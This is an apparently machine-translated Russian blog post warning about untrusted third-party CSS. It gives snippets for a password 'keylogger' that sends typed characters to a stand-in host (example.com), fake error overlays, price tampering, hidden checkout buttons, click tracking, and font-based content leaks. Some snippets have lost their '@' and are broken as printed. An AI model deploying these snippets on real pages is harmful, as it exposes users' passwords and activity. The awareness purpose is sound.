Добавить Автора
Blog: yeaseonzhang.github.io/
Оригинальная ссылка:Посмотреть исходный текст
предисловие
Для достижения эффективной разработки большую часть времени библиотеки/компоненты, реализованные другими, будут выбираться и использоваться в их собственных проектах, но действительно ли это безопасно?
Большинство веб-разработчиков считают, что до тех пор, пока они не используют чужиеJS
, безопасность будет гарантирована. Как всем известно, «хакеры» началиCSS
Манипулируйте им.
Пользователь может отключить в настройках браузераJS
,ноCSS
Но нет возможности отключить его.
Для начала поговорим о вреде, который может нанести использование сторонних ресурсов.
картина
<img src="https://img.com/phone.jpg">
При обращении к сторонним ресурсам изображений могут возникнуть две проблемы:
- Недопустимый ресурс изображения.
- Ресурсы изображения заменены
На приведенном выше рисунке показаны возможные последствия использования сторонних изображений: даже если ресурс изображения выйдет из строя или ресурс изображения будет заменен, это повлияет только на состояние самого изображения, а не на другие части страницы.
сценарий
<script src="http://example.com/script.js"></script>
Объем скрипта не сравним с картинкой, скрипт может управлять всей страницей по своему желанию.
- Чтение и изменение содержимого страницы
- Следите за поведением пользователей
- Майнинг с использованием вычислительной мощности браузера пользователя
- использовать пользователя
cookie
сделать запрос и отправить ответ - Читать и вмешиваться в браузеры
storage
- More
Примечание:потому чтоlocalStorage
является постоянным хранилищем, поэтому, еслиlocalStorage
изменяются, и даже если сценарий удаляется, эти изменения остаются необратимыми.
Только в случае доверия третьей стороне вы решите загрузить сторонний скрипт для обеспечения безопасности доступа пользователей.
Давайте представим основную мысль этой статьи ---сторонний CSS.
CSS
CSSПо масштабу действия ближе кJS, потому что он также работает на всей странице, а также может дополнять частиJSоперация.
CSSСтраницы можно манипулировать следующими способами:
- Добавляйте, удаляйте и изменяйте содержимое страницы
- Инициировать запрос на основе содержимого страницы
- Реагировать на взаимодействие с пользователем
а такжеJSв сравнении с,CSSЧто нельзя сделать, так это изменитьstorage
, и не может использоваться для майнинга.
кейлоггер
кейлоггер, что означает, что страница записывает ввод пользователя. В настоящее время это поведение существует только при использованииReact / класс РеагироватьСтраницы в рамке.
input[type="password"][value$="p"] {
background: url(//example.com/password?p);
}
Если поле ввода пароля, введитеp
пароль в конце, инициирует//exaple.com/password?p
просить. Браузеры не запоминают по умолчаниюinput
Ввод поля ввода, поэтому такое поведение существует только при использованииReact / класс РеагироватьНа странице кадра два примера перехвачены ниже.
если не используетсяReact / класс Реагироватькадр, содержимое поля ввода не будетinput
отображается на ярлыкеvalue
Атрибуты.
Фотосайт используетReactкадр, содержимое поля ввода будет отображаться синхронно вinput
изvalue
в свойствах. такCSSселектор атрибутов[value$="p"]
Пользовательский ввод может быть обнаружен, в результате чего пользовательский ввод может быть захвачен третьей стороной.
Вы прошли через этот пример и подумалиCSSГораздо мощнее, чем вы думаете, из-под контроляCSSЭто также может нанести большой вред странице.
скрытый контент
С некоторыми ухищрениями реальное содержимое страницы не отображается пользователю.
body {
display: none;
}
html::after {
content: 'HTTP 500 Server Error';
}
Приведенный выше пример скрывает реальный основной контент и показывает его пользователю.HTTP 500Ошибки, из-за которых пользователи ошибочно полагают, что существует проблема с сервером веб-сайта.
также может отображать любыеHTTPОшибки для пользователей, распространенные ошибки на веб-страницах:
- HTTP 400: неверный запрос
- HTTP 403: Нет доступа
- HTTP 404: Страница не найдена
- HTTP 500: Внутренняя ошибка сервера
добавить содержимое
.price-value::after {
content: '9';
}
Для ценового стиля увеличьте:before
/ :after
Такие псевдоэлементы, затем псевдоэлементыcontent
Добавьте к атрибуту любую цифру, и цена товара увеличится примерно в 10 раз.
Цена на товар поднялась, и об этом не знает даже продавец. В этом случае у пользователей обычно нет желания покупать.
мобильный контент
.move-purchase-button {
opacity: 0;
position: absolute;
top: 100px;
left: 100px;
}
пройти черезopacity
Будукнопка оформления заказаПрозрачность установлена на 100%, чтобы скрыть элемент, сделав его невидимым для пользователя, но все еще занимающим место. А затем через абсолютное позиционирование, так чтокнопка оформления заказаПервоначально занятое пространство отделяется от обычного потока, а кнопка перемещается в положение, на которое пользователь не может нажать; то же, что и выше.CSSВы также можете использовать простойdisplay: none;
чтобы скрыть кнопку.
В приведенной выше ситуации пользователи вообще не могут совершить покупку, что очень вредно для веб-сайта электронной коммерции, что приводит к «Можно только смотреть, а не покупать".
Отслеживайте взаимодействие с пользователем
.login-button:hover {
background: url('//example.com/login-button-hover');
}
.login-button:active {
background: url('//example.com/login-button-active');
}
С помощью приведенного выше кода его можно использовать для определения интерактивного состояния пользователя на кнопке входа в систему, котораяhover
ещеactive
(щелчок), разные штаты отправят разные запросы.
Если соответствующая величина увеличения страницы аналогичнаCSS
код, который можно использовать дляПортрет пользователяанализировать.
Конечно, его также можно использовать для простого встраивания ссылок, записи клика по ссылке.
.link:active::after {
content: url('//example.com/link-1/view/count.php?action=visit');
}
читать содержимое страницы
font-face {
font-family: blah;
src: url(//example.com/page-contains-q) format('woff');
unicode-range: U+71;
}
html {
font-family: blah, sans-serif;
}
подделать шрифтblah
, если на странице естьunicode-range
Символы в диапазоне отправят запрос на установку, в нашем примере это символq
.
Примечание:@font-face
Запрос в консоли разработчика будетNetwork -> fontтипа видел.
Возможно, вы думаете, что роль одного символа может быть обнаружена только на странице, которая мала, поэтому я познакомлю вас с новым свойством CSS.font-variant-ligatures
К этому можно отнести установленный эффект лигатуры символов.
Но в настоящее время толькоOpenTypeШрифты поддерживают эффекты лигатуры, различныеOpenTypeЛигатуры шрифтов также отображаются непоследовательно.
Включить эффекты лигатуры
body {
font-feature-settings: "liga" 1;
}
supports (font-variant-ligatures: common-ligatures) {
body {
font-feature-settings: normal;
font-variant-ligatures: common-ligatures;
}
}
Как только все установлено, мы можем обнаружить определенные дефисы. НапримерffКод Юникода для лигатуры\ufb00
.
ЗапросunicodeКакие символы соответствуют коду, вы можете передатьUnicode® character table (unicode-table.com/en/) запросить.
Суммировать
через вышеуказанноеCSSнапример, вы думаетеCSSТакже мощный, ненадежныйсторонний CSSК этому нельзя относиться легкомысленно.
Подводя итог, собственноеCSS, вы должны написать это сами. . .
Для получения дополнительной информации, пожалуйста, подпишитесь на общедоступный аккаунт нашей команды «Исследование полного стека». Будут регулярные толчки хороших статей, полных галантерейных товаров.